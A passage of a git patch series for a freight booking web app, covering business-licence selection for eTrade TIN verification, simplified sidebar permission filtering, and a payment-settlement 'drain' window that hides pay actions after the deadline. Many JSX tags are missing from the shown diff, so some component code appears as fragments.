"not-found" - : errorMessage - ? "error" - : "idle"; + : needsChoice + ? "choose-business" + : mutation.isSuccess && mutation.data && !mutation.data.tinTaken + ? "verified" + : notFound + ? "not-found" + : errorMessage + ? "error" + : "idle"; const lastReportedStatus = useRef(null); useEffect(() => { @@ -142,7 +201,11 @@ export default function ETradeInfo({ const willAutoFetch = isValidTin(tin) && lastFetchedTin.current !== tin; const showLoading = isLoading || willAutoFetch; - const showRetry = isValidTin(tin) && status !== "verified" && !showLoading; + const showRetry = + isValidTin(tin) && + status !== "verified" && + status !== "choose-business" && + !showLoading; return ( @@ -170,7 +233,7 @@ export default function ETradeInfo({ className="max-w-none" variant="filled" color="edr-green" - onClick={handleFetch} + onClick={() => handleFetch()} disabled={!isValidTin(tin)} leftSection={} > @@ -179,6 +242,91 @@ export default function ETradeInfo({ )}
+ {businesses.length > 1 && !showPicker && chosenBusiness && ( + + + + + + + {chosenBusiness.activity || + chosenBusiness.tradeName || + chosenBusiness.licenceNumber} + + + + {chosenBusiness.licenceNumber} + + {chosenBusiness.renewedTo && ( + + · valid to {chosenBusiness.renewedTo} + + )} + + + + + + + )} + + {businesses.length > 1 && showPicker && ( + + } + color={needsChoice ? "yellow" : "blue"} + title={ + needsChoice + ? `This TIN holds ${businesses.length} business licences` + : "Change business" + } + > + Pick the business you're registering as — its licence and registered + address become this account's record. + + + + {businesses.map((b) => ( + + + + {b.activity || b.tradeName || b.licenceNumber} + + + + {b.licenceNumber} + + {b.renewedTo && ( + + · valid to {b.renewedTo} + + )} + + + } + /> + + ))} + + + + )} + {notFound && ( } diff --git a/apps/edr-freight-web/portal/src/hooks/useETradeData.ts b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts index 9fbce53d9..e764ecad5 100644 --- a/apps/edr-freight-web/portal/src/hooks/useETradeData.ts +++ b/apps/edr-freight-web/portal/src/hooks/useETradeData.ts @@ -3,10 +3,17 @@ import { companiesService } from "@/services/companies.service"; import { extractApiError } from "@/utils/result"; import type { CompanyRegistrationData } from "@edr/types"; +/** + * `licenceNumber` picks which of the TIN's business licences to resolve — a TIN + * routinely holds several, and the customer says which one they operate as. + */ export function useETradeData() { return useMutation({ - mutationFn: async (tin: string): Promise => { - return companiesService.fetchETradeInfo({ tin }); + mutationFn: async (vars: { + tin: string; + licenceNumber?: string; + }): Promise => { + return companiesService.fetchETradeInfo(vars); }, onError: (error) => { const { message } = extractApiError(error); diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 21956c9a1..92e1a7118 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -989,7 +989,9 @@ export default function CompanyProfileForm({ } if (step === "company" && !tinVerified) { setSaveError( - "We need to confirm your TIN with eTrade before continuing.", + tinStatus === "choose-business" + ? "This TIN holds more than one business licence — pick the one you're registering as." + : "We need to confirm your TIN with eTrade before continuing.", ); return; } diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/ETradeCompanyCard.tsx b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/ETradeCompanyCard.tsx index 2634fed0d..4469009ed 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/ETradeCompanyCard.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/ETradeCompanyCard.tsx @@ -1,70 +1,27 @@ -import { Badge, Card, Group, Select, SimpleGrid, Text, TextInput } from "@mantine/core"; +import { Badge, Card, Group, SimpleGrid, Text } from "@mantine/core"; import { CheckCircle2 } from "lucide-react"; -import { Controller } from "react-hook-form"; -import type { - Control, - FieldErrors, - UseFormRegister, - UseFormWatch, -} from "react-hook-form"; -import { ETHIOPIAN_REGIONS } from "@edr/types"; +import type { UseFormWatch } from "react-hook-form"; import type { FormData } from "./schema"; import { ReadOnlyField } from "./ReadOnlyField"; /** - * One field of the verified-registration card: locked read-only once eTrade - * supplied a value, but falls back to an editable input when eTrade left it - * blank — otherwise a gap in eTrade's own data would leave the field - * permanently empty and the user stuck (zod requires all of these). + * The verified eTrade record, rendered strictly read-only. * - * A value that fails validation unlocks the same way. eTrade (or a row saved - * before the current rules) can supply something the schema rejects, and a - * rejected value rendered read-only is a step that can never be completed and - * never says why. + * Nothing here is typeable — not even a field eTrade left blank. These values + * are the government's record of the company, so a customer-typed substitute + * would be an unverified claim wearing the badge of a verified one. A gap stays + * a visible gap ("—"), and the schema no longer requires these fields, so it + * cannot block the step either. */ -function LockedField({ - label, - name, - register, - watch, - errors, -}: { - label: string; - name: keyof FormData; - register: UseFormRegister; - watch: UseFormWatch; - errors: FieldErrors; -}) { - const value = watch(name) as string | undefined; - if (value && value.trim() && !errors[name]) { - return ; - } - return ( - - ); -} - export default function ETradeCompanyCard({ tin, - register, watch, - errors, - control, }: { tin: string; - register: UseFormRegister; watch: UseFormWatch; - errors: FieldErrors; - control: Control; }) { const companyName = watch("companyName"); - const region = watch("region"); return ( @@ -88,73 +45,18 @@ export default function ETradeCompanyCard({ - + - {/* Membership of the catalog, not mere presence: eTrade's normalizer - returns null for a region it doesn't recognise, and older rows can - hold a spelling that isn't in the list. Showing such a value - read-only left the customer with a required field they could not - correct. */} - {(ETHIOPIAN_REGIONS as readonly string[]).includes(region ?? "") ? ( - - ) : ( - ( - ({ value: r, label: r }))} - error={error} - value={field.value || null} - onChange={(v) => field.onChange(v ?? "")} - onBlur={field.onBlur} - /> - )} - /> - ); -} diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index 58de2bd16..d6a78f1af 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -480,7 +480,10 @@ export const companiesService = { }, /** Fetch company registration data from eTrade by TIN. */ - fetchETradeInfo: async (payload: { tin: string }): Promise => { + fetchETradeInfo: async (payload: { + tin: string; + licenceNumber?: string; + }): Promise => { const response = await client.post>( URL_CONSTANTS.COMPANIES_API.FETCH_ETRADE_INFO, payload, diff --git a/packages/types/src/freight/etrade.ts b/packages/types/src/freight/etrade.ts index 67a7de28b..6f33567e4 100644 --- a/packages/types/src/freight/etrade.ts +++ b/packages/types/src/freight/etrade.ts @@ -55,10 +55,24 @@ export interface ETradeCompanyInfo { RenewedFrom: string; RenewedTo: string; BusinessLicensingGroupMain: string | null; - SubGroups: string | null; + SubGroups: Array<{ Code: number; Description: string }> | null; }>; } +/** + * One business licence held under a TIN. A single owner routinely holds many + * (import of vehicles, export of coffee, freight forwarding…), all sharing the + * same trade name — the licensed activity is what tells them apart, so that is + * what the customer picks by. + */ +export interface ETradeBusinessOption { + licenceNumber: string; + tradeName: string; + /** The licensed activities ("Import trade in …"), joined. May be empty. */ + activity: string; + renewedTo: string; +} + export interface CompanyRegistrationData { /** * The registered organization name — `ETradeCompanyInfo.BusinessName`, falling @@ -84,4 +98,11 @@ export interface CompanyRegistrationData { managerPhone: string; /** True when this TIN is already registered to an existing company. */ tinTaken?: boolean; + /** + * Every licence this TIN holds. More than one means the customer has to say + * which business they are acting as before the registration data above can be + * trusted — it describes whichever licence was selected (the first, by + * default). + */ + businesses?: ETradeBusinessOption[]; } From 92371f17da48e4fdde7050a77444ae54e7c82bd2 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 10 Aug 2026 18:45:54 +0000 Subject: [PATCH 10/13] fix: the position based gl gate on sidbear --- .../components/layout/sidebar-sections.tsx | 45 +------------------ 1 file changed, 2 insertions(+), 43 deletions(-) diff --git a/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx b/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx index cfbc50528..83e80d11e 100644 --- a/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx +++ b/apps/edr-freight-web/backoffice/src/components/layout/sidebar-sections.tsx @@ -40,8 +40,6 @@ import type { SidebarItem, SidebarSection } from "./types"; import { FREIGHT_PERMS, hasPermission as hasFreightPermission, - isDjiboutiGl, - isEthiopianGl, isSuperAdmin, } from "@/lib/permissions"; import { getCategorySidebarChildren } from "@/pages/ruleEngine/config/resources"; @@ -554,38 +552,10 @@ export const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] }, ]; -/** Hrefs of the two document-clearance menu items (stable identifiers). */ -export const ET_CLEARANCE_HREF = "/dashboard/contracts/clearance"; -export const DJ_CLEARANCE_HREF = "/dashboard/gl-djibouti/clearance"; - -// Routes a GL officer may reach beyond their clearance hub. Path B booking is -// part of their job (create/rebook under a cleared contract, then view that -// booking's clearance), but those routes live outside the clearance prefix — -// without this allowlist the single-prefix lock bounces them out of their own -// workflow. Matched against location.pathname (no query string). -export const GL_WORKFLOW_PATH_PATTERNS: RegExp[] = [ - /^\/dashboard\/contracts\/[^/]+\/create-booking(\/|$)/, - /^\/dashboard\/bookings\/[^/]+\/clearance(\/|$)/, - // The ET hub's rows open the shipment clearance detail at this URL. - /^\/dashboard\/clearance\/[^/]+(\/|$)/, -]; - -const isEtClearanceItem = (item: SidebarItem): boolean => - item.href === ET_CLEARANCE_HREF; -const isDjClearanceItem = (item: SidebarItem): boolean => - item.href === DJ_CLEARANCE_HREF; -const isClearanceItem = (item: SidebarItem): boolean => - isEtClearanceItem(item) || isDjClearanceItem(item); - /** * Keep only items the user is permitted to see; drop now-empty sections. - * - * Position-scoped visibility (super_admin sees everything): - * - Super Admin → sees all items (all permissions pass, all tabs visible) - * - Ethiopian GL → sees ONLY the ET document-clearance page. - * - Djibouti GL → sees ONLY the DJ clearance page. - * - Everyone else → sees everything they have permission for, EXCEPT the two - * clearance pages (those are GL-only). + * Super Admin sees everything; everyone else is filtered purely by each + * item's `permission` field (OR across the array when one is given). */ export const filterSidebarByPermission = ( sections: SidebarSection[], @@ -594,9 +564,6 @@ export const filterSidebarByPermission = ( // Superadmin sees every section and item — no permission filtering. if (isSuperAdmin(user)) return sections; - const etGl = isEthiopianGl(user); - const djGl = isDjiboutiGl(user); - const permissionAllowed = (item: SidebarItem): boolean => { if (!item.permission) return true; const keys = Array.isArray(item.permission) @@ -616,14 +583,6 @@ export const filterSidebarByPermission = ( : item, ) .filter((item) => { - if (etGl || djGl) { - // GL positions are locked to their single clearance page (parents - // survive only as the path to that page). - const isTarget = etGl ? isEtClearanceItem : isDjClearanceItem; - return isTarget(item) || (item.children?.length ?? 0) > 0; - } - // Everyone else: hide the GL-only clearance pages entirely. - if (isClearanceItem(item)) return false; if (!permissionAllowed(item)) return false; if (item.children) return item.children.length > 0; return true; From 40672e9c41ab0b59013ac0bbb3c8140d13fc9b8e Mon Sep 17 00:00:00 2001 From: marshalyordanos Date: Mon, 10 Aug 2026 21:47:28 +0300 Subject: [PATCH 11/13] feat(freight): surface scheduling clock and gate pay during drain --- .../src/modules/bookings/bookings.service.ts | 58 +++++ .../train-scheduling/booking-batch.service.ts | 35 +-- .../detail/BookingSchedulingWindowCard.tsx | 215 ++++++++++++++++++ .../src/components/bookings/detail/index.ts | 1 + .../bookings/BookingRequestDetailPage.tsx | 2 + .../backoffice/src/types/booking.ts | 25 ++ .../MyPortalPage/components/BookingRow.tsx | 8 +- .../src/pages/MyPortalPage/constants.ts | 2 +- .../components/BookingPaymentPanel.tsx | 23 +- .../src/pages/bookings/BookingsListPage.tsx | 10 +- .../pages/bookings/payments/PayNowButton.tsx | 20 ++ .../payments/PaymentProcessingNotice.tsx | 84 +++++++ .../pages/bookings/payments/payment-drain.ts | 60 +++++ packages/types/src/freight/index.ts | 6 + 14 files changed, 524 insertions(+), 25 deletions(-) create mode 100644 apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/bookings/payments/PaymentProcessingNotice.tsx create mode 100644 apps/edr-freight-web/portal/src/pages/bookings/payments/payment-drain.ts diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 2fb9b3032..e2a3d9b0c 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -34,6 +34,7 @@ import { ServiceType } from '../rule-engine/entities/service-type.entity'; import { TrainSchedule } from '../train-schedules/entities/train-schedule.entity'; import { Contract } from '../contracts/entities/contract.entity'; import { BookingBatchService } from '../train-scheduling/booking-batch.service'; +import { paymentDrainEndsAtIso } from '../train-scheduling/booking-batch.constants'; import { BookingContractService } from './booking-contract.service'; import { BookingsRepository } from './bookings.repository'; import { ConsolidationService } from './consolidation.service'; @@ -57,6 +58,24 @@ import { CustomerTruckAssignmentDto } from './dto/customer-truck-assignment.dto' import { PdfRenderService } from '../billing/documents/pdf-render.service'; import { buildTabularFallbackPdf } from '../billing/documents/styled-pdf.util'; +/** + * The allocated train as the backoffice booking detail page needs it: which + * train, its window phase, and both the planned and actual clock. Attached by + * `findById` only when the booking is on a schedule. + */ +export interface TrainScheduleSummary { + id: string; + reference: string | null; + trainNumber: string | null; + status: string | null; + scheduledDepartureDate: string | null; + scheduledArrivalDate: string | null; + actualDepartureAt: string | null; + actualArrivalAt: string | null; + windowPhase: string | null; + paymentPhaseEndsAt: string | null; +} + /** Paginated booking list: flat `total` (backoffice) + `meta` block (portal). */ export interface PaginatedBookings { items: Booking[]; @@ -1738,6 +1757,20 @@ export class BookingsService { (b as Booking & { handoverAwaitingSignature?: boolean }).handoverAwaitingSignature = pending.has(b.id); } + this.attachPaymentDrainEnds(bookings); + } + + /** + * Derived, no query: end of the settlement drain tail after `paymentDeadline`. + * The portal hides "Pay now" between the deadline and this instant — a payment + * started just before the buzzer is still settling, so offering to pay again + * would invite a double payment. + */ + private attachPaymentDrainEnds(bookings: Booking[]): void { + for (const b of bookings) { + (b as Booking & { paymentDrainEndsAt?: string | null }).paymentDrainEndsAt = + paymentDrainEndsAtIso(b.paymentDeadline); + } } async findAll( @@ -2105,8 +2138,33 @@ export class BookingsService { .findOne({ where: { id: booking.trainScheduleId } }); (booking as Booking & { trainScheduleStatus?: string | null }).trainScheduleStatus = schedule?.status ?? null; + // Backoffice staff view: the allocated train's identity and clock, so the + // detail page can state which train the booking rides and when it runs + // without a second round-trip to the schedules API. + ( + booking as Booking & { trainScheduleSummary?: TrainScheduleSummary | null } + ).trainScheduleSummary = schedule + ? { + id: schedule.id, + reference: schedule.reference ?? null, + trainNumber: schedule.trainNumber ?? null, + status: schedule.status ?? null, + scheduledDepartureDate: schedule.scheduledDepartureDate?.toISOString() ?? null, + scheduledArrivalDate: schedule.scheduledArrivalDate?.toISOString() ?? null, + actualDepartureAt: schedule.actualDepartureAt?.toISOString() ?? null, + actualArrivalAt: schedule.actualArrivalAt?.toISOString() ?? null, + windowPhase: schedule.windowPhase ?? null, + paymentPhaseEndsAt: schedule.paymentPhaseEndsAt?.toISOString() ?? null, + } + : null; } + // End of this booking's own pay window including the settlement drain tail — + // the deadline staff should quote, since a payment landing inside the drain + // still counts (see paymentDrainEndsAtIso). + (booking as Booking & { paymentDrainEndsAt?: string | null }).paymentDrainEndsAt = + paymentDrainEndsAtIso(booking.paymentDeadline); + // A generated-but-unsigned handover means the customer must approve delivery // from the portal. Self-haul: booking-based, one per booking. EDR last-mile: // per delivering truck (generated on truck exit), signed one by one. diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts index 23024bfdf..cb568171a 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.service.ts @@ -3680,23 +3680,24 @@ export class BookingBatchService implements OnModuleInit { // (provider query errored / payment still in flight) means we could not // confirm "not paid" — never expire on unknown; the next settle tick // asks again. - if (reason === "payment" && (fresh?.paymentDeadline ?? booking.paymentDeadline)) { - const reconcile = await this.billing.reconcilePayable(booking.id); - if (reconcile.paid) { - this.logger.log( - `[BATCH] expire skipped for ${booking.reference} — gateway ` + - `reconcile found a settled payment; payment.succeeded will allocate it`, - ); - return; - } - if (reconcile.unverifiable) { - this.logger.warn( - `[BATCH] expire deferred for ${booking.reference} — settlement ` + - `unverifiable at the gateway; retrying next settle tick`, - ); - return; - } - } + // TODO: CBE has no reconcile endpoint yet — re-enable once available. + // if (reason === "payment" && (fresh?.paymentDeadline ?? booking.paymentDeadline)) { + // const reconcile = await this.billing.reconcilePayable(booking.id); + // if (reconcile.paid) { + // this.logger.log( + // `[BATCH] expire skipped for ${booking.reference} — gateway ` + + // `reconcile found a settled payment; payment.succeeded will allocate it`, + // ); + // return; + // } + // if (reconcile.unverifiable) { + // this.logger.warn( + // `[BATCH] expire deferred for ${booking.reference} — settlement ` + + // `unverifiable at the gateway; retrying next settle tick`, + // ); + // return; + // } + // } } const freedScheduleId = booking.trainScheduleId; await this.bookingsRepository.update(booking.id, { diff --git a/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx b/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx new file mode 100644 index 000000000..84f0645a8 --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx @@ -0,0 +1,215 @@ +import { useEffect, useState } from "react"; +import { Badge, Box, Group, Stack, Text } from "@mantine/core"; +import { CalendarClock } from "lucide-react"; + +import type { BookingDetail } from "@/types/booking"; +import { SchedulingStatusBadge } from "@/components/trainScheduling/ScheduleStatusBadge"; + +import { SectionCard } from "./SectionCard"; + +export interface BookingSchedulingWindowCardProps { + booking: BookingDetail; +} + +/** Full date + time — staff read these against the operating clock, so no time is dropped. */ +function formatStamp(iso: string | null | undefined): string | null { + if (!iso) return null; + const ms = new Date(iso).getTime(); + if (!Number.isFinite(ms)) return null; + return new Date(ms).toLocaleString("en-US", { + month: "short", + day: "numeric", + year: "numeric", + hour: "2-digit", + minute: "2-digit", + }); +} + +/** "in 2h 14m" / "12m ago" — the at-a-glance read next to an absolute stamp. */ +function formatRelative(iso: string, nowMs: number): string { + const diff = new Date(iso).getTime() - nowMs; + const past = diff < 0; + const totalMinutes = Math.floor(Math.abs(diff) / 60_000); + const days = Math.floor(totalMinutes / 1440); + const hours = Math.floor((totalMinutes % 1440) / 60); + const minutes = totalMinutes % 60; + + const parts: string[] = []; + if (days) parts.push(`${days}d`); + if (hours) parts.push(`${hours}h`); + // Keep minutes when they're the only unit, so sub-hour gaps never read "0". + if (minutes || parts.length === 0) parts.push(`${minutes}m`); + + const span = parts.slice(0, 2).join(" "); + return past ? `${span} ago` : `in ${span}`; +} + +function Row({ + label, + value, + hint, + tone, +}: { + label: string; + value: string; + hint?: string | null; + tone?: "muted" | "warning" | "danger"; +}) { + const valueColor = + tone === "danger" ? "red.7" : tone === "warning" ? "orange.7" : "dark"; + return ( + + + {label} + + + + {value} + + {hint ? ( + + {hint} + + ) : null} + + + ); +} + +/** + * Backoffice-only staff view of the scheduling clock: which batch/train the + * booking is scheduled for, when its pay window closes, and the train's + * planned vs actual departure/arrival (i.e. when the run actually ended). + */ +export function BookingSchedulingWindowCard({ + booking, +}: BookingSchedulingWindowCardProps) { + const schedule = booking.trainScheduleSummary ?? null; + + // The pay-window end staff should quote is the drain end (a payment landing + // inside the drain still counts); fall back to the raw deadline if the API + // predates that field. + const payWindowEndsAt = booking.paymentDrainEndsAt ?? booking.paymentDeadline ?? null; + + // One shared ticking clock so every relative label in the card stays in sync. + const [nowMs, setNowMs] = useState(() => Date.now()); + useEffect(() => { + const interval = setInterval(() => setNowMs(Date.now()), 30_000); + return () => clearInterval(interval); + }, []); + + const hasAnything = + Boolean(schedule) || Boolean(payWindowEndsAt) || Boolean(booking.holdExpiresAt); + if (!hasAnything) return null; + + const payWindowClosed = payWindowEndsAt + ? new Date(payWindowEndsAt).getTime() <= nowMs + : false; + + const trainLabel = + schedule?.trainNumber ?? + schedule?.reference ?? + (schedule ? "Assigned train" : null); + + return ( + } + > + + {trainLabel ? ( + + ) : ( + + )} + + {schedule?.status ? ( + + + Train status + + + {schedule.windowPhase ? ( + + {schedule.windowPhase.replace(/_/g, " ")} + + ) : null} + + {schedule.status} + + + + ) : null} + + {payWindowEndsAt ? ( + + ) : null} + + {booking.holdExpiresAt && booking.schedulingStatus === "HOLDING" ? ( + + ) : null} + + {schedule ? ( + <> + + + + ) : null} + + + ); +} diff --git a/apps/edr-freight-web/backoffice/src/components/bookings/detail/index.ts b/apps/edr-freight-web/backoffice/src/components/bookings/detail/index.ts index ecbb0488e..b0b024977 100644 --- a/apps/edr-freight-web/backoffice/src/components/bookings/detail/index.ts +++ b/apps/edr-freight-web/backoffice/src/components/bookings/detail/index.ts @@ -22,3 +22,4 @@ export * from "./BookingMileServicesCard"; export * from "./BookingCargoCard"; export * from "./BookingContractSummaryCard"; export * from "./BookingCompanyCard"; +export * from "./BookingSchedulingWindowCard"; diff --git a/apps/edr-freight-web/backoffice/src/pages/bookings/BookingRequestDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/bookings/BookingRequestDetailPage.tsx index feee70b9d..4367fc708 100644 --- a/apps/edr-freight-web/backoffice/src/pages/bookings/BookingRequestDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/bookings/BookingRequestDetailPage.tsx @@ -40,6 +40,7 @@ import { BookingCompanyCard, BookingContractSummaryCard, BookingContainerUnitsCard, + BookingSchedulingWindowCard, BookingDocumentsPanel, BookingTrucksPanel, ContractOrdersPanel, @@ -246,6 +247,7 @@ export default function BookingRequestDetailPage() { + = { icon: Wallet, iconColor: "edr-amber-text", tile: "edr-amber-soft", - hint: "Selected for batch · payment due within 1 hour", + hint: "Selected for batch · payment due before the deadline", step: "edr-accent", badgeLabel: "Pay Now", badgeBg: "edr-amber-soft", diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/BookingPaymentPanel.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/BookingPaymentPanel.tsx index b94ea9fed..710c6b40f 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/BookingPaymentPanel.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/components/BookingPaymentPanel.tsx @@ -18,6 +18,8 @@ import { invoicesService, type PortalInvoice } from "@/services/invoices.service import { InvoiceStatusBadge, titleCase } from "@/pages/billing/invoice-ui"; import { paymentStatusLabel } from "@/pages/bookings/booking-display"; import { isUsdOfflineBooking } from "@/pages/bookings/payments/offline-payment"; +import { payWindowState } from "@/pages/bookings/payments/payment-drain"; +import { PaymentProcessingNotice } from "@/pages/bookings/payments/PaymentProcessingNotice"; import { saveBlob } from "@/utils/download"; import { @@ -216,6 +218,11 @@ export function BookingPaymentPanel({ (booking.status === "SELECTED_FOR_BATCH" || Boolean(booking.paymentDeadline)); + // Pay deadline passed but the settlement drain tail hasn't: in-flight payments + // are still landing, so the pay action gives way to a processing countdown. + const payWindow = payWindowState(booking); + const draining = payWindow.phase === "draining" && Boolean(payWindow.drainEndsAt); + const { data: invoices = [] } = useQuery({ queryKey: ["booking-invoices", booking.id], queryFn: () => invoicesService.listForSource("booking", booking.id), @@ -266,9 +273,11 @@ export function BookingPaymentPanel({ {paid ? : showCountdown ? : null} {paid ? "Paid" - : showCountdown - ? "Pay window open" - : paymentStatusLabel(booking.paymentStatus ?? "PENDING")} + : draining + ? "Payment processing" + : showCountdown + ? "Pay window open" + : paymentStatusLabel(booking.paymentStatus ?? "PENDING")} @@ -279,7 +288,11 @@ export function BookingPaymentPanel({ {/* USD: no online payment — bank transfer + slip to Finance, who confirm the payment (backoffice flow lands in a later phase). Shown for any unpaid USD booking, with or without an open pay window. */} - {!paid && offlineUsd && ( + {!paid && draining && payWindow.drainEndsAt && ( + + )} + + {!paid && !draining && offlineUsd && ( )} - {showCountdown && booking.paymentDeadline && ( + {showCountdown && !draining && booking.paymentDeadline && ( ; } // Contract ready for the customer's signature → full-page contract viewer. diff --git a/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx b/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx index db50bd57f..63ca637b5 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/payments/PayNowButton.tsx @@ -7,6 +7,8 @@ import { ModalSafeWrapper } from "@/components/customer-actions/ModalSafeWrapper import { PaymentMethodModal } from "../BookingDetailPage/components/PaymentMethodModal"; import { priceTotal } from "../BookingDetailPage/utils"; import { isUsdOfflineBooking } from "./offline-payment"; +import { payWindowState } from "./payment-drain"; +import { PaymentProcessingNotice } from "./PaymentProcessingNotice"; import { useBookingPayment } from "./useBookingPayment"; interface PayNowButtonProps { @@ -29,6 +31,24 @@ export function PayNowButton({ }: PayNowButtonProps) { const pay = useBookingPayment(booking.id); const pricing = booking.pricingBreakdown; + const payWindow = payWindowState(booking); + + // Pay deadline passed but in-flight payments are still settling: show the + // drain countdown instead of any pay action, so nobody pays a second time. + // Checked before the USD branch — a bank transfer is just as double-payable. + if (payWindow.phase === "draining" && payWindow.drainEndsAt) { + return ( + + ); + } + + // Window fully over (drain included) — nothing to pay against anymore. + if (payWindow.phase === "closed") { + return null; + } // USD is paid by bank transfer and confirmed by Finance — no online payment. if (isUsdOfflineBooking(booking)) { diff --git a/apps/edr-freight-web/portal/src/pages/bookings/payments/PaymentProcessingNotice.tsx b/apps/edr-freight-web/portal/src/pages/bookings/payments/PaymentProcessingNotice.tsx new file mode 100644 index 000000000..56b7897ee --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/bookings/payments/PaymentProcessingNotice.tsx @@ -0,0 +1,84 @@ +import { useEffect, useState } from "react"; +import { Box, Group, Text } from "@mantine/core"; +import { Loader2 } from "lucide-react"; + +/** mm:ss left until `target`; clamped at zero so it never shows a negative. */ +function secondsLeft(target: number, now: number): string { + const total = Math.max(0, Math.ceil((target - now) / 1000)); + const minutes = Math.floor(total / 60); + const seconds = total % 60; + return `${minutes}:${String(seconds).padStart(2, "0")}`; +} + +export interface PaymentProcessingNoticeProps { + /** ISO end of the drain tail — the countdown target. */ + drainEndsAt: string; + /** Compact single-line form for list rows; full block for the detail page. */ + variant?: "inline" | "block"; + /** Called once the drain elapses, so the parent can refetch the new state. */ + onElapsed?: () => void; +} + +/** + * Shown in place of "Pay now" during the settlement drain tail: the pay deadline + * has passed but in-flight payments are still landing, so the customer waits + * rather than paying again. + */ +export function PaymentProcessingNotice({ + drainEndsAt, + variant = "block", + onElapsed, +}: PaymentProcessingNoticeProps) { + const targetMs = new Date(drainEndsAt).getTime(); + const [now, setNow] = useState(() => Date.now()); + + useEffect(() => { + setNow(Date.now()); + const interval = setInterval(() => { + const next = Date.now(); + setNow(next); + if (next >= targetMs) { + clearInterval(interval); + onElapsed?.(); + } + }, 1000); + return () => clearInterval(interval); + }, [targetMs, onElapsed]); + + const remaining = secondsLeft(targetMs, now); + + if (variant === "inline") { + return ( + + + + Processing · {remaining} + + + ); + } + + return ( + + + + + Payment processing — {remaining} left + + + + The payment window has closed and we're confirming the payments that + came in. If you already paid, it can take a few minutes to appear — + please don't pay again. This page updates on its own. + + + ); +} diff --git a/apps/edr-freight-web/portal/src/pages/bookings/payments/payment-drain.ts b/apps/edr-freight-web/portal/src/pages/bookings/payments/payment-drain.ts new file mode 100644 index 000000000..61d97864b --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/bookings/payments/payment-drain.ts @@ -0,0 +1,60 @@ +import { Freight } from "@edr/types"; + +/** + * Where a booking sits relative to its pay window. + * + * - `open` — the window is live; the customer can pay. + * - `draining` — the deadline passed but the settlement drain tail has not. A + * payment started just before the buzzer may still be settling, + * so we show "processing" and hide every pay action rather than + * invite a second payment for the same booking. + * - `closed` — the drain tail elapsed too; the window is over. + * - `none` — no deadline on the booking (nothing to gate). + */ +export type PayWindowPhase = "open" | "draining" | "closed" | "none"; + +export interface PayWindowState { + phase: PayWindowPhase; + /** True only while the customer may actually start a payment. */ + canPay: boolean; + /** End of the drain tail — the countdown target while `draining`. */ + drainEndsAt: string | null; +} + +type PayableBooking = Pick< + Freight.IBooking, + "paymentDeadline" | "paymentDrainEndsAt" +>; + +/** + * Classify a booking's pay window against `now`. + * + * Falls back to the raw deadline when the server sent no `paymentDrainEndsAt` + * (older payload): with no known tail there is no drain to wait out, so the + * window goes straight from open to closed. + */ +export function payWindowState( + booking: PayableBooking | null | undefined, + now: number = Date.now(), +): PayWindowState { + const deadline = booking?.paymentDeadline ?? null; + if (!deadline) { + return { phase: "none", canPay: true, drainEndsAt: null }; + } + + const deadlineMs = new Date(deadline).getTime(); + if (!Number.isFinite(deadlineMs)) { + return { phase: "none", canPay: true, drainEndsAt: null }; + } + if (now < deadlineMs) { + return { phase: "open", canPay: true, drainEndsAt: null }; + } + + const drainRaw = booking?.paymentDrainEndsAt ?? null; + const drainMs = drainRaw ? new Date(drainRaw).getTime() : NaN; + if (Number.isFinite(drainMs) && now < drainMs) { + return { phase: "draining", canPay: false, drainEndsAt: drainRaw }; + } + + return { phase: "closed", canPay: false, drainEndsAt: null }; +} diff --git a/packages/types/src/freight/index.ts b/packages/types/src/freight/index.ts index 7ff14721c..68f48e187 100644 --- a/packages/types/src/freight/index.ts +++ b/packages/types/src/freight/index.ts @@ -717,6 +717,12 @@ export interface IBooking extends BaseEntity { selectedForBatchAt?: string | null; /** End of the pay window once the booking is SELECTED_FOR_BATCH. */ 